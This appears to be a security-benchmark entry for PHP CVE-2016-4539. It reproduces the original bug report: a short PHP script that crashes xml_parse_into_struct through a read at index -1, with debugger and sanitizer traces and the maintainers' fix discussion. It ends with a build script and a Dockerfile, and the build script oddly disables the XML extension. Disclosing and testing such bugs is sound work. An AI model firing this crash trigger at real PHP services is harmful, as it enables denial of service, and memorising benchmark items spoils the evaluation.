Project: php-src (php/php-src), language: c++
Vulnerability instance: php.cve-2016-4539
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=72099
## Description:
PHP Bug ID: 72099
Summary: xml_parse_into_struct segmentation fault
Status: Closed
PHP Version: 5.5.34
Assigned: stas (profile)
CVE-ID: 2016-4539

Description:
Description:
------------
Run test script with PHP/ASAN. I'm marking it as security since parsing xml coming from user is a common task, so apologies in advance if it's not security relevant.


(gdb) b xml.c:992
Breakpoint 1 at 0x83a3ae5: file /home/fmunozs/phpgit/php56dbg/ext/xml/xml.c, line 992.
(gdb) r
Breakpoint 1, _xml_characterDataHandler (userData=0xb5f5bba4, s=0x8d185e5 "aaaaaaaaaa", len=10)
    at /home/fmunozs/phpgit/php56dbg/ext/xml/xml.c:992
992       _xml_add_to_info(parser,parser->ltags[parser->level-1] + parser->toffset);
(gdb) print parser
$1 = (xml_parser *) 0xb5f5bba4
(gdb) print parser->ltags
$2 = (char **) 0xb5f5c894
(gdb) print parser->ltags[parser->level-1]
$3 = 0x5c7efff0 <error: Cannot access memory at address 0x5c7efff0>
(gdb) print parser->ltags[parser->level]
$4 = 0x0
(gdb) print parser->ltags
$5 = (char **) 0xb5f5c894
(gdb) print parser->level
$8 = 0
(gdb) print parser->ltags[parser->level-1] + parser->toffset
$9 = 0x5c7efff0 <error: Cannot access memory at address 0x5c7efff0>

parser->level is 0 and line 992 is trying to access -1 element.

Test script:
---------------
<?php

$var1=xml_parser_create_ns();
$var2="<xss>";
xml_parse($var1, $var2);

$var2=str_repeat("a", 10);
$var3=[];
$var4=[];
xml_parse_into_struct($var1, $var2, $var3, $var4);
var_dump($var3);

Expected result:
----------------
No crash

Actual result:
--------------
=================================================================
==4221==ERROR: AddressSanitizer: SEGV on unknown address 0x0000001d (pc 0xb6dc6256 bp 0xbfba8e18 sp 0xbfba89a4 T0)
    #0 0xb6dc6255  (/lib/i386-linux-gnu/libc.so.6+0x7c255)
    #1 0xb71e7655 in __interceptor_strlen (/usr/lib/i386-linux-gnu/libasan.so.2+0x6a655)
    #2 0x90e321f in _xml_add_to_info /home/fmunozs/phpgit/php56/ext/xml/xml.c:740
    #3 0x90ef305 in _xml_characterDataHandler /home/fmunozs/phpgit/php56/ext/xml/xml.c:992
    #4 0x90ff63b in _cdata_handler /home/fmunozs/phpgit/php56/ext/xml/compat.c:274
    #5 0xb6f33ec4 in xmlParseCharData (/usr/lib/i386-linux-gnu/libxml2.so.2+0x34ec4)
    #6 0xb6f4461c  (/usr/lib/i386-linux-gnu/libxml2.so.2+0x4561c)
    #7 0xb6f44f62 in xmlParseChunk (/usr/lib/i386-linux-gnu/libxml2.so.2+0x45f62)
    #8 0x9103efb in php_XML_Parse /home/fmunozs/phpgit/php56/ext/xml/compat.c:605
    #9 0x90e0e8e in zif_xml_parse_into_struct /home/fmunozs/phpgit/php56/ext/xml/xml.c:1499
    #10 0x9a7dbe8 in zend_do_fcall_common_helper_SPEC /home/fmunozs/phpgit/php56/Zend/zend_vm_execute.h:558
    #11 0x96417e6 in execute_ex /home/fmunozs/phpgit/php56/Zend/zend_vm_execute.h:363
    #12 0x9a6de98 in zend_execute /home/fmunozs/phpgit/php56/Zend/zend_vm_execute.h:388
    #13 0x9472029 in zend_execute_scripts /home/fmunozs/phpgit/php56/Zend/zend.c:1341
    #14 0x91ae13b in php_execute_script /home/fmunozs/phpgit/php56/main/main.c:2613
    #15 0x9a8795a in do_cli /home/fmunozs/phpgit/php56/sapi/cli/php_cli.c:994
    #16 0x808a502 in main /home/fmunozs/phpgit/php56/sapi/cli/php_cli.c:1378
    #17 0xb6d62645 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18645)
    #18 0x808aaba  (/home/fmunozs/phpgit/php56/sapi/cli/php+0x808aaba)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ??:0 ??
==4221==ABORTING

Comments:

[Comment 1] [2016-04-25 06:59 UTC] stas@php.net
The fix is at bdf55f7af884f15bbec4b48aebf41d7dfef880e6 on security repo and in https://gist.github.com/7e128b2eead665b9127ad836ce2e709a

Please verify
Links: https://gist.github.com/7e128b2eead665b9127ad836ce2e709a

[Comment 2] [2016-04-25 22:42 UTC] fernando at null-life dot com
Patch works OK, no more complains from ASAN.

[Comment 3] [2016-04-27 05:58 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.
Links: http://snaps.php.net/, http://windows.php.net/snapshots/

[Comment 7] [2016-05-06 20:26 UTC] brian dot carpenter at gmail dot com
Using the test script in this bug report with PHP 7.1.0-dev (cli) (built: May  6 2016 15:15:38), I'm seeing a null pointer deref:

==126942== Invalid read of size 1
==126942==    at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)
==126942==    by 0x11DC7AF: _xml_add_to_info (xml.c:687)
==126942==    by 0x11DC7AF: _xml_characterDataHandler (xml.c:924)
==126942==    by 0x5BEB1B4: xmlParseCharData (in /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.1)
==126942==    by 0x5BF84CB: xmlParseTryOrFinish (in /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.1)
==126942==    by 0x5BF8E2D: xmlParseChunk (in /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.1)
==126942==    by 0x11E7098: php_XML_Parse (compat.c:596)
==126942==    by 0x11D39E1: zif_xml_parse_into_struct (xml.c:1450)
==126942==    by 0x169757E: ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER (zend_vm_execute.h:615)
==126942==    by 0x1645B42: execute_ex (zend_vm_execute.h:425)
==126942==    by 0x188EFE0: zend_execute (zend_vm_execute.h:470)
==126942==    by 0x145EDD7: zend_execute_scripts (zend.c:1427)
==126942==    by 0x120AD3F: php_execute_script (main.c:2492)
==126942==  Address 0x0 is not stack'd, malloc'd or (recently) free'd
==126942== 
==126942== 
==126942== Process terminating with default action of signal 11 (SIGSEGV)
==126942==  Access not within mapped region at address 0x0
==126942==    at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)
==126942==    by 0x11DC7AF: _xml_add_to_info (xml.c:687)
==126942==    by 0x11DC7AF: _xml_characterDataHandler (xml.c:924)
==126942==    by 0x5BEB1B4: xmlParseCharData (in /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.1)
==126942==    by 0x5BF84CB: xmlParseTryOrFinish (in /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.1)
==126942==    by 0x5BF8E2D: xmlParseChunk (in /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.1)
==126942==    by 0x11E7098: php_XML_Parse (compat.c:596)
==126942==    by 0x11D39E1: zif_xml_parse_into_struct (xml.c:1450)
==126942==    by 0x169757E: ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER (zend_vm_execute.h:615)
==126942==    by 0x1645B42: execute_ex (zend_vm_execute.h:425)
==126942==    by 0x188EFE0: zend_execute (zend_vm_execute.h:470)
==126942==    by 0x145EDD7: zend_execute_scripts (zend.c:1427)
==126942==    by 0x120AD3F: php_execute_script (main.c:2492)
==126942==  If you believe this happened as a result of a stack
==126942==  overflow in your program's main thread (unlikely but
==126942==  possible), you can try to increase the size of the
==126942==  main thread stack using the --main-stacksize= flag.
==126942==  The main thread stack size used in this run was 8388608.
Segmentation fault

#0  strlen () at ../sysdeps/x86_64/strlen.S:106
#1  0x00000000011dc7b0 in _xml_add_to_info (name=0x0, parser=0x7ffff6078000) at /home/geeknik/php-src/ext/xml/xml.c:687
#2  _xml_characterDataHandler (userData=0x7ffff6078000, s=<optimized out>, len=<optimized out>) at /home/geeknik/php-src/ext/xml/xml.c:924
#3  0x00007ffff6d451b5 in xmlParseCharData__internal_alias (ctxt=ctxt@entry=0x2138850, cdata=cdata@entry=0) at ../../parser.c:4579
#4  0x00007ffff6d524cc in xmlParseTryOrFinish (ctxt=ctxt@entry=0x2138850, terminate=terminate@entry=1) at ../../parser.c:11658
#5  0x00007ffff6d52e2e in xmlParseChunk__internal_alias (ctxt=0x2138850, chunk=0x7ffff60601f8 "aaaaaaaaaa", size=10, terminate=terminate@entry=1)
    at ../../parser.c:12397
#6  0x00000000011e7099 in php_XML_Parse (parser=0x7ffff6085000, data=<optimized out>, data_len=<optimized out>, is_final=is_final@entry=1)
    at /home/geeknik/php-src/ext/xml/compat.c:596
#7  0x00000000011d39e2 in zif_xml_parse_into_struct (execute_data=<optimized out>, return_value=0x7fffffffa8c0) at /home/geeknik/php-src/ext/xml/xml.c:1450
#8  0x000000000169757f in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER () at /home/geeknik/php-src/Zend/zend_vm_execute.h:615
#9  0x0000000001645b43 in execute_ex (ex=<optimized out>) at /home/geeknik/php-src/Zend/zend_vm_execute.h:425
#10 0x000000000188efe1 in zend_execute (op_array=op_array@entry=0x7ffff6086280, return_value=return_value@entry=0x0)
    at /home/geeknik/php-src/Zend/zend_vm_execute.h:470
#11 0x000000000145edd8 in zend_execute_scripts (type=type@entry=8, retval=retval@entry=0x0, file_count=-167698384, file_count@entry=3)
    at /home/geeknik/php-src/Zend/zend.c:1427
#12 0x000000000120ad40 in php_execute_script (primary_file=0x7fffffffcf20) at /home/geeknik/php-src/main/main.c:2492
#13 0x000000000189ae95 in do_cli (argc=0, argv=0x8) at /home/geeknik/php-src/sapi/cli/php_cli.c:982
#14 0x0000000000450dd1 in main (argc=0, argv=0x8) at /home/geeknik/php-src/sapi/cli/php_cli.c:1352

[Comment 8] [2016-06-27 00:49 UTC] stas@php.net
I am unable to reproduce any issue neither on 5.x nor 7.0. My master build is a bit messed up now, I'll clean it and try there too.

[Comment 10] [2016-06-28 08:25 UTC] stas@php.net
It reproduced in master, looks like the fix somehow got dropped while merging... I've added it to master, thanks for reporting.

Commit References:
bdf55f7af884f15bbec4b48aebf41d7dfef880e6

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
        --enable-option-checking=fatal \
        --disable-libxml \
        --disable-dom \
        --disable-simplexml \
        --disable-xml \
        --disable-xmlreader \
        --disable-xmlwriter \
        --without-pear \
        --enable-exif \
        --disable-phpdbg \
        --disable-cgi
make -j$(nproc)

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout fc1df8e7a6886e29a6ed5bef3f674ac61164e847
WORKDIR $SRC/php-src
COPY build.sh $SRC/

Additional files: